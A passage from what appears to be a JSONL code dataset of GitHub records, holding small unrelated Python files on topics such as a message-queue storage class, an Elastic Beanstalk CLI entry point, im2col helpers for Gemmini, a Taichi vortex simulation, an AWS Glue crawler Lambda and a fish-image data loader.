self.clients[channel]:\n if service[0] != client:\n continue\n result = service[1]\n return result\n\n def get_clients(self, channel):\n \"\"\"\n Returns a list of services subscribed to the channel\n \"\"\"\n if channel not in self.clients.keys():\n return []\n return self.clients[channel]\n\n def drop_message(self, client, channel, i):\n \"\"\"\n Deletes the message from storage\n \"\"\"\n del self.storage[client][channel][i]\n\n def messages_in_channel(self, client, channel):\n \"\"\"\n Returns the number of unsent messages for service in a given channel\n \"\"\"\n result = None\n if client not in self.storage:\n return result\n if channel not in self.storage[client]:\n return result\n result = len(self.storage[client][channel])\n return result\n\n def __repr__(self):\n \"\"\"\n In print we trust\n \"\"\"\n return repr(self.storage)\n\n def add_channel(self, channel):\n \"\"\"\n Try to create a channel in the storage\n \"\"\"\n if channel in self.clients:\n return False\n self.clients[channel] = []\n return True\n\n def subscribe(self, client, api_key, channel):\n \"\"\"\n Subscribe client to the channel\n \"\"\"\n if channel not in self.clients:\n return False\n pair = (client, api_key)\n if pair in self.clients[channel]:\n return False\n\n self.clients[channel].append(pair)\n return True\n\n def unsubscribe(self, client, channel):\n \"\"\"\n Unsubscribe client from the channel\n N.B. we must drop all messages in queue for this client\n \"\"\"\n clients = self.clients.get(channel)\n if clients is None:\n return False\n index = None\n for i, pair in enumerate(clients):\n if pair[0] != client:\n continue\n index = i\n break\n if index is not None:\n del self.clients[channel][index]\n return True\n\n def drop_channel(self, channel):\n \"\"\"\n Drop channel with all messages and clients\n \"\"\"\n return self.clients.pop(channel, None)\n","repo_name":"Sulverus/aqueduct","sub_path":"aqueduct/storages/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"8510712422","text":"from datetime import datetime\n##################################################\n# Training Config\n##################################################\nworkers = 1 # number of Dataloader workers\nepochs = 50 # number of epochs\nbatch_size = 24 # batch size\nlearning_rate = 1e-3 # initial learning rate\n\n##################################################\n# Model Config\n##################################################\nimage_size = (224, 224) # size of training images\nnet = 'resnet50' # feature extractor\nnum_attentions = 32 # number of attention maps\nbeta = 5e-2 # param for update feature centers\n\n##################################################\n# Dataset/Path Config\n##################################################\ntag = 'fish' # 'aircraft', 'bird', 'car', or 'dog'\n\n# saving directory of .ckpt models\nsave_dir = f'./save/{datetime.now().strftime(\"%Y_%m-%d_%H:%M\")}-{net}-{image_size[0]}-{image_size[1]}-{num_attentions}-{batch_size}/'\nmodel_name = 'model.ckpt'\nlog_name = 'train.log'\n\n# checkpoint model for resume training\nckpt = False\n# ckpt = save_dir + model_name","repo_name":"SudoRmFr/The-Nature-Conservancy-Fisheries-Monitoring","sub_path":"config_distributed.py","file_name":"config_distributed.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3523040853","text":"import json\nimport codecs \nimport logging\nfrom logging import config as _config \nimport os\nimport sys\nfrom pprint import pprint\n\nfrom scli import command, cli_parse, config_file, prompt\nfrom scli.constants import EbLogFile, EbLocalDir, OutputLevel, ParameterName, \\\n ParameterSource, ServiceDefault \nfrom scli.parameter import DefaultParameterValue, ParameterPool, ParameterValidator\nfrom lib.utility import misc, shell_utils\n\nlog = logging.getLogger('cli')\n\n\ndef _getLogFile(filename): \n return os.getcwd() + os.path.sep + filename\n\ndef _set_log_filename(config_dict, filename):\n #Keyerror\n config_dict['handlers']['default']['filename'] = filename \n\ndef _set_log_handlers(config_dict, formatter):\n config_dict['root']['handlers'] = [formatter]\n config_dict['loggers']['aws']['handlers'] = [formatter]\n config_dict['loggers']['eb']['handlers'] = [formatter]\n config_dict['loggers']['op']['handlers'] = [formatter]\n config_dict['loggers']['cli']['handlers'] = [formatter]\n\ndef _disable_logging(config_dict = None):\n logging.disable(logging.CRITICAL)\n \n if config_dict is not None:\n _set_log_handlers(config_dict, 'null')\n del config_dict['handlers']['default']\n \n\ndef configureLogging(level = None, quiet = False, \n filename = EbLogFile.Name, \n spec_dir = os.getcwd() + os.path.sep + EbLocalDir.Path):\n \n \n if not spec_dir:\n output_file=_getLogFile(filename)\n else:\n shell_utils.create_directory(spec_dir)\n output_file = spec_dir + os.path.sep + filename\n \n ori_path = shell_utils.ori_path()\n log_config_location = os.path.join(ori_path, 'logconfig.json')\n \n try:\n with codecs.open(log_config_location, 'r', encoding='utf-8') as input_file: \n config_dict = json.loads(input_file.read())\n\n _set_log_filename(config_dict, output_file)\n \n if level is None and config_dict['root']['level'].upper() == 'NONE':\n # completely disable log\n config_dict['root']['level'] = 'NOTSET'\n _disable_logging(config_dict)\n else:\n if level is not None:\n config_dict['root']['level'] = level \n _set_log_handlers(config_dict, 'default')\n \n except (IOError, ValueError, KeyError) as ex:\n #JSON logging config file parsing error\n if not quiet:\n print(('Encountered error when reading logging configuration file from \"{0}\": {1}.'.\\\n format(log_config_location, ex)))\n _disable_logging()\n return \n\n try: \n _config.dictConfig(config_dict)\n \n except IOError:\n if not quiet:\n print('Could not open {0} for logging. Using stderr instead.'.\\\n format(output_file), file=sys.stderr)\n _set_log_handlers(config_dict, 'to_stderr')\n _config.dictConfig(config_dict)\n\n config_file.set_access_permission(output_file, True) \n\n\ndef _exit(code):\n log.info('EB CLI exit')\n sys.exit(code)\n\n\ndef _print_op_results(results):\n for index, result in enumerate(results):\n prompt.info('------------ Operation {0}: {1}----------------'.format\\\n (index + 1, result.operation.__class__.__name__))\n pprint(result.result, depth = 3);\n print(result.message) \n\n\ndef main(cmdline = None):\n \n # Initialization\n configureLogging(quiet=False)\n log.info('EB CLI start')\n\n parameter_pool = ParameterPool() # pool of all parameters \n validator = ParameterValidator()\n DefaultParameterValue.fill_default(parameter_pool) \n log.debug('Finished initialization')\n \n try:\n # Parse command line arguments\n cli_parse.parse(parameter_pool, cmdline)\n log.debug('Finished parsing command line arguments.')\n # TODO: set quiet level here.\n if parameter_pool.get_value(ParameterName.Verbose) == ServiceDefault.ENABLED:\n prompt.set_level(OutputLevel.Info)\n else:\n prompt.set_level(OutputLevel.ResultOnly)\n \n validator.validate(parameter_pool, ParameterSource.CliArgument)\n # Compile operation queue\n queue = command.compile_operation_queue(parameter_pool.command)\n\n except SystemExit as ex:\n _exit(0)\n \n except BaseException as ex:\n print((misc.to_unicode(ex)))\n log.exception(ex)\n _exit(1)\n \n # Execute queue\n results = []\n try:\n queue.run(parameter_pool, results)\n log.debug('Finished executing operation queue')\n except BaseException as ex:\n print((misc.to_unicode(ex)))\n log.exception(ex)\n _exit(1)\n\n _exit(0)\n\n","repo_name":"Mrono/step-elastic-beanstalk-deploy","sub_path":"eb-tools/eb/linux/python3/scli/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4772,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"}
+{"seq_id":"24171814284","text":"from brownie import FundMe\nfrom scripts.helper import get_account\n\n\ndef fundme():\n fund_me = FundMe[-1]\n account = get_account()\n enterance_fee = fund_me.getEntranceFee()\n print(f\"The current entry fee is {enterance_fee}\")\n print(\"Funding\")\n fund_me.fund({\"from\":account, 'value' : enterance_fee})\n\ndef withdraw():\n fund_me = FundMe[-1]\n account = get_account()\n print(\"Withdraw\")\n fund_me.withdraw({\"from\":account})\n\ndef main():\n fundme()\n withdraw()","repo_name":"shebbar93/brownie_fund_me","sub_path":"scripts/fund_withdraw.py","file_name":"fund_withdraw.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"29592468387","text":"\nimport torch\nimport torch.nn as nn\n\nclass ConvParams:\n def __init__(self, kernel_size: int, batch_size: int,\n in_dim: int, in_channels: int,\n out_channels: int,\n stride: int, padding: int,\n bias: int,\n depthwise: bool,\n pool_size: int,\n pool_stride: int,\n pool_padding: int,\n output_scale: int):\n # gemmini_dim: int):\n\n assert not depthwise or in_channels == out_channels\n\n self.batch_size = batch_size\n self.in_row_dim = in_dim\n self.in_col_dim = in_dim\n self.kernel_size = kernel_size\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.stride = stride\n self.padding = padding\n self.bias = bias\n self.depthwise = depthwise\n self.output_scale = output_scale\n self.pool_size = pool_size\n self.pool_stride = pool_stride\n self.pool_padding = pool_padding\n\n self.out_row_dim = (in_dim - kernel_size + 2*padding) // stride + 1\n self.out_col_dim = (in_dim - kernel_size + 2*padding) // stride + 1\n\n self.out_dim_pooled = (self.out_row_dim - pool_size + 2*pool_padding) // pool_stride + 1\n\n self.n_patches = self.out_row_dim * self.out_col_dim * batch_size\n\n if depthwise:\n self.patch_size = kernel_size * kernel_size\n else:\n self.patch_size = in_channels * kernel_size * kernel_size\n\n self.is_pooled = pool_size > 1 or pool_stride > 1\n\nclass FcParams:\n def __init__(self, batch_size: int, in_features: int, out_features: int, bias: bool, output_scale: int): # , gemmini_dim: int):\n self.batch_size = batch_size\n self.in_features = in_features\n self.out_features = out_features\n self.bias = bias\n self.output_scale = output_scale\n \n # self.gemmini_dim = gemmini_dim\n\ndef get_params(layer: nn.Module, batch_size=None, in_dim=None, pool_stride=None, pool_size=None, pool_padding=None):\n if isinstance(layer, nn.Conv2d):\n if in_dim is None or pool_stride is None or pool_size is None:\n raise Exception(\"Need in_dim\")\n return ConvParams(kernel_size=layer.kernel_size[0], batch_size=batch_size,\n in_dim=in_dim, in_channels=layer.in_channels,\n out_channels=layer.out_channels, depthwise=layer.groups > 1,\n stride=layer.stride[0], padding=layer.padding[0], bias=layer.bias is not None,\n pool_size=pool_size, pool_stride=pool_stride, pool_padding=pool_padding,\n output_scale = layer.output_scale if hasattr(layer, 'output_scale') else 1)\n elif isinstance(layer, nn.Linear):\n return FcParams(batch_size=batch_size, in_features=layer.in_features, out_features=layer.out_features, bias=layer.bias is not None, output_scale=layer.output_scale if hasattr(layer, 'output_scale') else 1)\n\ndef filter2col(x: torch.Tensor, params: ConvParams) -> torch.Tensor:\n n_filters = 1 if params.depthwise else params.out_channels\n im_channels = 1 if params.depthwise else params.in_channels\n kernel_size = params.kernel_size\n patch_size = params.patch_size\n\n y = torch.empty((patch_size, n_filters), dtype=x.dtype, requires_grad=False)\n\n for n_filter in range(n_filters):\n # We need HWIO, originally OIHW, so we need to make it HWI before flattening (so that memory layout becomes [H][W][I]\n y[:, n_filter:n_filter+1] = x[n_filter].permute(1,2,0).reshape(patch_size, 1)\n\n return y\n\ndef bias2col(x: torch.Tensor, params: ConvParams) -> torch.Tensor:\n # TODO This can just be a one-dimensional bias, and then we can read it with a zero-byte increment\n \n n_patches = params.n_patches\n out_channels = params.out_channels\n\n y = torch.empty((n_patches, out_channels), dtype=x.dtype, requires_grad=False)\n \n for row in range(n_patches):\n y[row] = x\n\n return y\n\ndef im2col(x: torch.Tensor, params: ConvParams) -> torch.Tensor:\n \"\"\"\n Expects input image in (N, C, H, W) format\n \"\"\"\n assert x.shape[2] == x.shape[3]\n\n batch_size = params.batch_size\n im_channels = 1 if params.depthwise else params.in_channels\n im_height = params.in_row_dim\n im_width = params.in_col_dim\n kernel_size = params.kernel_size\n stride = params.stride\n padding = params.padding\n n_patches = params.n_patches\n patch_size = params.patch_size\n\n y = torch.empty((n_patches, patch_size), dtype=x.dtype, requires_grad=False)\n\n patch_row = 0\n\n for n_batch in range(batch_size):\n for im_row in range(-padding, im_height - kernel_size + padding + 1, stride):\n for im_col in range(-padding, im_width - kernel_size + padding + 1, stride):\n patch_col = 0\n\n for im_channel in range(im_channels):\n for filter_row in range(kernel_size):\n for filter_col in range(kernel_size):\n pixel_row = im_row + filter_row\n pixel_col = im_col + filter_col\n\n if (pixel_row < 0 or pixel_row >= im_height\n or pixel_col < 0 or pixel_col >= im_width):\n y[patch_row][patch_col] = 0\n else:\n y[patch_row][patch_col] = x[n_batch][im_channel][pixel_row][pixel_col]\n\n patch_col += 1\n patch_row += 1\n\n return y\n\n\ndef pool_with_col2im(x: torch.Tensor, params: ConvParams) -> torch.Tensor:\n assert(x.dim() == 2)\n batch_size = params.batch_size\n channels = params.out_channels\n in_row_dim = params.out_row_dim\n in_col_dim = params.out_col_dim\n kernel_size = params.pool_size\n stride = params.pool_stride\n padding = params.pool_padding\n # n_patches = params.n_patches\n # patch_size = params.patch_size \n out_row_dim = params.out_dim_pooled\n out_col_dim = params.out_dim_pooled\n\n y = torch.empty((batch_size, out_row_dim, out_col_dim, channels), dtype=x.dtype, requires_grad=False)\n\n for batch in range(batch_size):\n for channel in range(channels):\n for out_row in range(out_row_dim):\n for out_col in range(out_col_dim):\n in_row = out_row * stride - padding\n pooled = -9999\n for kernel_row in range(kernel_size):\n in_col = out_col * stride - padding\n for kernel_col in range(kernel_size):\n if in_row >= 0 and in_row < in_row_dim and in_col >= 0 and in_col < in_col_dim:\n if x[batch*in_row_dim*in_col_dim + in_row*in_col_dim + in_col][channel] > pooled:\n pooled = x[batch*in_row_dim*in_col_dim + in_row*in_col_dim + in_col][channel]\n else:\n if 0 > pooled:\n pooled = 0\n in_col += 1\n in_row += 1\n y[batch][out_row][out_col][channel] = pooled\n\n return y","repo_name":"allpan3/multi-concept-MNIST","sub_path":"tools/gemmini.py","file_name":"gemmini.py","file_ext":"py","file_size_in_byte":7313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"14695307504","text":"import pickle, argparse, json, math\nimport time\nimport json\nimport random\n\nfrom utils import DEBUG_PRINT, SAVE_LOG\nfrom user import User\nfrom dqn_agent import DQNAgent\nfrom state_tracker import StateTracker\n\nif __name__ == \"__main__\":\n # Can provide constants file path in args OR run it as is and change 'CONSTANTS_FILE_PATH' below\n # 1) In terminal: python train.py --constants_path \"constants.json\"\n # 2) Run this file as is\n parser = argparse.ArgumentParser()\n parser.add_argument('--constants_path', dest='constants_path', type=str, default='')\n args = parser.parse_args()\n params = vars(args)\n\n # Load constants json into dict\n CONSTANTS_FILE_PATH = 'constants.json'\n if len(params['constants_path']) > 0:\n constants_file = params['constants_path']\n else:\n constants_file = CONSTANTS_FILE_PATH\n\n with open(constants_file) as f:\n constants = json.load(f, encoding='utf-8')\n\n # Load file path constants\n file_path_dict = constants['db_file_paths']\n DATABASE_FILE_PATH = file_path_dict['database']\n SIZE_DATABASE_FILE_PATH = file_path_dict['size_database']\n DICT_FILE_PATH = file_path_dict['dict']\n SIZE_DICT_FILE_PATH = file_path_dict['size_dict']\n USER_GOALS_FILE_PATH = file_path_dict['user_goals']\n DIALOG_FILE_PATH = file_path_dict['dialogs']\n\n # Load run constants\n run_dict = constants['run']\n USE_USERSIM = run_dict['usersim']\n NUM_EP_WARMUP = run_dict['num_ep_warmup'] # number of episode in warmup\n NUM_EP_TRAIN = run_dict['num_ep_run']\n TRAIN_FREQ = run_dict['train_freq']\n SUCCESS_RATE_THRESHOLD = run_dict['success_rate_threshold']\n\n # Load product DB\n database= json.load(open(DATABASE_FILE_PATH, encoding='utf-8'))\n # Load size DB\n size_database= json.load(open(SIZE_DATABASE_FILE_PATH, encoding='utf-8'))\n\n # Load product dict\n # db_dict = json.load(open(DICT_FILE_PATH, encoding='utf-8'))\n\n # Load goal File\n user_goals = json.load(open(USER_GOALS_FILE_PATH, encoding='utf-8'))\n\n # Load dialogs File\n dialogs = json.load(open(DIALOG_FILE_PATH, encoding='utf-8'))\n\n # Init. Objects\n if USE_USERSIM:\n user = UserSimulator(user_goals, constants, database, size_database)\n else:\n user = User(constants)\n state_tracker = StateTracker(database, size_database, constants)\n dqn_agent = DQNAgent(state_tracker.get_state_size(), constants)\n\n\ndef episode_reset():\n \"\"\"\n Resets the episode/conversation in the training loops.\n\n Called in warmup and train to reset the state tracker, user and agent. Also get's the initial user action.\n\n \"\"\"\n\n # First reset the state tracker\n state_tracker.reset()\n # Then pick an init user action\n user_action = user.reset()\n print(\"user: {}\".format(str(user_action)))\n # And update state tracker\n state_tracker.update_state_user(user_action)\n # Finally, reset agent\n dqn_agent.reset()\n\ndef test_warmup():\n print('Testing Started...')\n episode_reset()\n ep_reward = 0\n done = False\n # Get initial state from state tracker\n state = state_tracker.get_state()\n while not done:\n # Agent takes action given state tracker's representation of dialogue\n agent_action_index, agent_action = dqn_agent.get_action_train(state)\n # Update state tracker with the agent's action\n state_tracker.update_state_agent_test(agent_action)\n print(\"agent: {}\".format(str(agent_action)))\n\n # User takes action given agent action\n user_action, reward, done, success = user.step(agent_action)\n print(\"user: {}\".format(str(user_action)))\n\n ep_reward += reward\n # Update state tracker with user action\n state_tracker.update_state_user(user_action)\n # Grab \"next state\" as state\n state = state_tracker.get_state(done)\n print('Episode: {} Success: {} Reward: {}'.format(0, success, ep_reward))\n\n\ntest_warmup()","repo_name":"ngocho31/shopping_assistant","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32436330936","text":"import json\nimport decimal\nimport datetime\nimport sqlalchemy\nfrom sqlalchemy.engine.base import Engine\nfrom sqlalchemy.ext.declarative import DeclarativeMeta\nfrom sqlalchemy.orm.session import Session as ORMSession, sessionmaker\nimport Environment as env\n\n## Database connection string\nconnect_url = f\"{env.DB_ENGINE}://{env.DB_USER}:{env.DB_PWD}@{env.DB_HOST}:{env.DB_PORT}/{env.DB_NAME}?driver={env.DB_DRIVER}\"\n__engine = sqlalchemy.create_engine(connect_url, echo=False)\n__Session = sessionmaker(bind=__engine)\n\n\ndef get_session() -> ORMSession:\n \"\"\" Return a new database session from engine to data access\n\n Returns:\n ORMSession: Database session\n \"\"\"\n return __Session()\n\ndef get_engine() -> Engine:\n \"\"\" Return the database engine\n\n Returns:\n Engine: Database Engines\n \"\"\"\n return __engine\n\n\nclass AlchemyEncoder(json.JSONEncoder):\n \"\"\" Based on: https://stackoverflow.com/questions/5022066/how-to-serialize-sqlalchemy-result-to-json/41204271 \"\"\"\n def default(self, obj):\n if isinstance(obj.__class__, DeclarativeMeta):\n fields = {}\n property_map = obj.property_map()\n for field in [x for x in obj.attrs]:\n data = obj.__getattribute__(field)\n try:\n if isinstance(data, (datetime.datetime, datetime.date)):\n data = data.isoformat()\n else:\n json.dumps(data)\n fields[property_map[field] if field in property_map else field] = data\n except TypeError:\n fields[field] = None\n return fields\n if isinstance(obj, decimal.Decimal):\n if obj % 1 > 0:\n return float(obj)\n else:\n return int(obj)\n if isinstance(obj, (datetime.date, datetime.datetime)):\n return obj.isoformat()\n return json.JSONEncoder.default(self, obj)\n\n\n","repo_name":"DavidCuy/pm_evaluation_system_backend","sub_path":"code/evaluation-system-be/database/DBConnection.py","file_name":"DBConnection.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"2958759552","text":"class FindPath:\n def __init__(self, network):\n self.network = network\n\n def _all_paths(self, network, source, destination, path=[]):\n path = path + [source]\n if source == destination:\n return [path]\n paths = []\n for node in network[source]:\n if node not in path:\n npaths = self._all_paths(network, node, destination, path)\n for npath in npaths:\n paths.append(npath)\n return paths\n\n def find_path(self, source, destination, type='all'):\n \"\"\"type: (all, shortest, longest)\"\"\"\n paths = self._all_paths(self.network, source, destination)\n if type == 'shortest':\n shortest = None\n for path in paths:\n if not shortest or len(path) < len(shortest):\n shortest = path\n return shortest\n\n elif type == 'longest':\n longest = None\n for path in paths:\n if not longest or len(path) > len(longest):\n longest = path\n return longest\n\n else:\n return paths","repo_name":"project-mlx/ADS","sub_path":"Graphs/Graphs.py","file_name":"Graphs.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"35185354854","text":"\nfrom django.urls import path\nfrom .views import home_view,index_view,details_view,login_view,logout_view,register_view\n\nurlpatterns = [\n path('',home_view ),\n path('index/',index_view),\n path('/', details_view, name='details'),\n path('logout', logout_view, name='logout'),\n path('register/', register_view, name='register')\n\n]\n","repo_name":"Nikh10/news_app","sub_path":"nknews_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13482539826","text":"print(\"Please enter a sequence\")\nsequence = input()\nprint()\nprint(\"Please enter the character for the marker\")\nmarker = input()\nmarker1_position = -1\nmarker2_position = -1\n\nfor position in range(0, len(sequence), 1):\n letter = sequence[position]\n if letter == marker:\n if (marker1_position == -1):\n marker1_position = position\n else:\n marker2_position = position\nprint()\nprint(f\"The distance between markers is {marker2_position - marker1_position -1}.\")\n","repo_name":"lawrencepj13/com728","sub_path":"basics/repetitions/nested_loop/nesting.py","file_name":"nesting.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"34900239129","text":"import taichi as ti\nimport numpy as np\nimport math\n\nti.init(arch=ti.gpu)\n\neps = 0.01 # \ndt = 0.1 # 两帧之间的时间差\n\nn_vortex = 4 # 涡流的数量\nn_tracer = 200000 # \n\npos = ti.Vector.field(2, ti.f32, shape=n_vortex) # 这是一个二维向量数组\nnew_pos = ti.Vector.field(2, ti.f32, shape=n_vortex)# 这是一个二维向量数组\nvort = ti.field(ti.f32, shape=n_vortex) # 涡流的旋转速度\ntracer = ti.Vector.field(2, ti.f32, shape=n_tracer) # 每一个元素由两个float组成 \n\n\n@ti.func\ndef compute_u_single(p, i):\n r2 = (p - pos[i]).norm_sqr()\n uv = ti.Vector([pos[i].y - p.y, p.x - pos[i].x]) # 这个vector 和 p-pos[i] 垂直,这是切线方向\n return vort[i] * uv / (r2 * math.pi) * 0.5 #* (1.0 - ti.exp(-r2 / eps**2))\n# uv 的长度就是 r ,\n\n\n@ti.func\ndef compute_u_full(p):\n u = ti.Vector([0.0, 0.0])\n for i in range(n_vortex):\n u += compute_u_single(p, i)\n return u\n\n\n@ti.kernel\ndef integrate_vortex():\n for i in range(n_vortex):\n v = ti.Vector([0.0, 0.0])\n for j in range(n_vortex):\n if i != j:\n v += compute_u_single(pos[i], j)\n new_pos[i] = pos[i] + dt * v\n\n for i in range(n_vortex):\n pos[i] = new_pos[i]\n\n\n@ti.kernel # 通过taichi 进行gpu 加速\ndef advect():\n for i in range(n_tracer): # tracer的遍历\n # Ralston's third-order method\n p = tracer[i]\n v1 = compute_u_full(p)\n v2 = compute_u_full(p + v1 * dt * 0.5)\n v3 = compute_u_full(p + v2 * dt * 0.75)\n tracer[i] += (2 / 9 * v1 + 1 / 3 * v2 + 4 / 9 * v3) * dt\n\n\npos[0] = [0, 1]\npos[1] = [0, -1]\npos[2] = [0, 0.3]\npos[3] = [0, -0.3]\nvort[0] = 1\nvort[1] = -1\nvort[2] = 1\nvort[3] = -1\n\n\n@ti.kernel\ndef init_tracers():\n for i in range(n_tracer):\n tracer[i] = [ti.random() - 0.5, ti.random() * 3 - 1.5] # 以 (0,0)为半径为1中心的分布\n\n\ninit_tracers()\n\ngui = ti.GUI(\"Vortex\", (1024, 512), background_color=0xFFFFFF)\n\nfor T in range(1000):\n for i in range(4): # substeps\n advect() # advect 就是简单的平流输送\n integrate_vortex() # 集成 涡流\n\n gui.circles( \n tracer.to_numpy() * np.array([[0.05, 0.1]]) + np.array([[0.0, 0.5]]),\n radius=0.5, \n color=0x0)\n # 这里在画固定半径的圆\n gui.show()\n","repo_name":"MilkBlock/taichi_harmonic","sub_path":"vortex_leapfrogging.py","file_name":"vortex_leapfrogging.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"577490727","text":"import logging\n\nimport boto3\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\nclient = boto3.client(\"glue\")\n\n\ndef lambda_handler(event, context):\n \"\"\"Crawl Data using specified Glue Crawler\n\n Arguments:\n event {dict} -- Dictionary with details on Bucket and Keys\n context {dict} -- Dictionary with details on Lambda context\n\n Returns:\n {dict} -- Dictionary with Data Quality Job details\n \"\"\"\n try:\n crawler_name = \"sdlf-data-quality-crawler\"\n logger.info(\"Starting Crawler {}\".format(crawler_name))\n try:\n client.start_crawler(Name=crawler_name)\n except client.exceptions.CrawlerRunningException:\n logger.info(\"Crawler is already running\")\n except Exception as e:\n logger.error(\"Fatal error\", exc_info=True)\n raise e\n return 200\n","repo_name":"awslabs/aws-serverless-data-lake-framework","sub_path":"sdlf-foundations/lambda/crawl-data/src/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":369,"dataset":"github-code","pt":"61"}
+{"seq_id":"11013399526","text":"#### Libraries\n# Standard library\nimport cPickle\nimport gzip\n\n# Third-party libraries\nimport numpy as np\nfrom PIL import Image, ImageOps\nimport glob\nimport random\n\n\nVALIDATION_SIZE = 100\nTEST_SIZE = 100\nfishNames = ['Bass', 'Catfish', 'Eel', 'Founder', 'Salmon', 'Shark', 'Trout', 'Tuna']\n\n\ndef load_data():\n \"\"\"Return the MNIST data as a tuple containing the training data,\n the validation data, and the test data.\n The ``training_data`` is returned as a tuple with two entries.\n The first entry contains the actual training images. This is a\n numpy ndarray with 50,000 entries. Each entry is, in turn, a\n numpy ndarray with 784 values, representing the 28 * 28 = 784\n pixels in a single MNIST image.\n The second entry in the ``training_data`` tuple is a numpy ndarray\n containing 50,000 entries. Those entries are just the digit\n values (0...9) for the corresponding images contained in the first\n entry of the tuple.\n The ``validation_data`` and ``test_data`` are similar, except\n each contains only 10,000 images.\n This is a nice data format, but for use in neural networks it's\n helpful to modify the format of the ``training_data`` a little.\n That's done in the wrapper function ``load_data_wrapper()``, see\n below.\n \"\"\"\n #Create Usable Training Data\n image_list = []\n labels = []\n for fish in fishNames:\n path = fish + '/*.jpg'\n for filename in glob.glob(path):\n im=Image.open(filename)\n img = np.asarray(to_grayscale(im))\n image_list.append(img)\n labels.append(fish)\n\t\n #Create Validation Data\n val_imgs = []\n val_labels = []\n for i in range(VALIDATION_SIZE):\n inx = random.randint(0,len(image_list)-1)\n img = np.asarray(image_list.pop(inx))\n lab = labels.pop(inx)\n val_imgs.append(img)\n val_labels.append(fishNames.index(lab))\n \n #Create Test Data\n tst_imgs = []\n tst_labels = []\n for i in range(TEST_SIZE):\n inx = random.randint(0,len(image_list)-1)\n img = np.asarray(image_list.pop(inx))\n lab = labels.pop(inx)\n tst_imgs.append(img)\n tst_labels.append(fishNames.index(lab))\n\n \n training_data = (image_list, labels)\n validation_data = (val_imgs, val_labels)\t\n test_data = (tst_imgs, tst_labels)\n\t\n\t#debugging\n \"\"\"print \"TRAINING EXAMPLES ------------------------------------------------------\"\n for x in range(len(image_list)):\n pic = to_grayscale(image_list[x])\n picArr = np.asarray(pic)\n print picArr, ' IS A ', labels[x]\n\t\t\n print \"Validation EXAMPLES --++++++++++++++++++++++++++++++++++++++++++++++++--\"\n for x in range(len(val_imgs)):\n pic = to_grayscale(val_imgs[x])\n print pic, ' IS A ', val_labels[x]\n\t\n print \"Testing EXAMPLES --++++++++++++++++++++++++++++++++++++++++++++++++--\"\n for x in range(len(tst_imgs)):\n pic = to_grayscale(tst_imgs[x])\n print pic, ' IS A ', tst_labels[x]\"\"\"\t\n\n '''print \"Imgs? - - - - - - - - - -\", str(len(image_list))\n print 'training_data[0] = ', training_data[0]\n print 'training_data[1] = ', training_data[1]\n print 'Validation_data[0] = ', validation_data[0]\n print 'Validation_data[1] = ', validation_data[1]\n print 'testing_data[0] = ', test_data[0]\n print 'testing_data[1] = ', test_data[1]'''\n return (training_data, validation_data, test_data)\n\ndef load_data_wrapper():\n \"\"\"Return a tuple containing ``(training_data, validation_data,\n test_data)``. Based on ``load_data``, but the format is more\n convenient for use in our implementation of neural networks.\n In particular, ``training_data`` is a list containing 50,000\n 2-tuples ``(x, y)``. ``x`` is a 784-dimensional numpy.ndarray\n containing the input image. ``y`` is a 10-dimensional\n numpy.ndarray representing the unit vector corresponding to the\n correct digit for ``x``.\n ``validation_data`` and ``test_data`` are lists containing 10,000\n 2-tuples ``(x, y)``. In each case, ``x`` is a 784-dimensional\n numpy.ndarry containing the input image, and ``y`` is the\n corresponding classification, i.e., the digit values (integers)\n corresponding to ``x``.\n Obviously, this means we're using slightly different formats for\n the training data and the validation / test data. These formats\n turn out to be the most convenient for use in our neural network\n code.\"\"\"\n tr_d, va_d, te_d = load_data()\n training_inputs = [np.reshape(x, (784, 1)) for x in tr_d[0]]\n training_results = [vectorized_result(y) for y in tr_d[1]]\n training_data = zip(training_inputs, training_results)\n validation_inputs = [np.reshape(x, (784, 1)) for x in va_d[0]]\n validation_data = zip(validation_inputs, va_d[1])\n test_inputs = [np.reshape(x, (784, 1)) for x in te_d[0]]\n test_data = zip(test_inputs, te_d[1])\n return (training_data, validation_data, test_data)\n\ndef vectorized_result(j):\n \"\"\"Return a 10-dimensional unit vector with a 1.0 in the jth\n position and zeroes elsewhere. This is used to convert a digit\n (0...9) into a corresponding desired output from the neural\n network.\n e = np.zeros((10, 1))\n e[j] = 1.0\n return e\"\"\"\n #Returns 8D unit vector with 1 in position of approprate label\n #['Bass', 'Catfish', 'Eel', 'Founder', 'Salmon', 'Shark', 'Trout', 'Tuna']\n inx = fishNames.index(j)\n e = np.zeros((8,1))\n e[inx] = 1.0\n return e\n\t\n\ndef to_grayscale(img):\n resized = img.resize((28,28),Image.BILINEAR)\n greypic = ImageOps.grayscale(resized)\n return 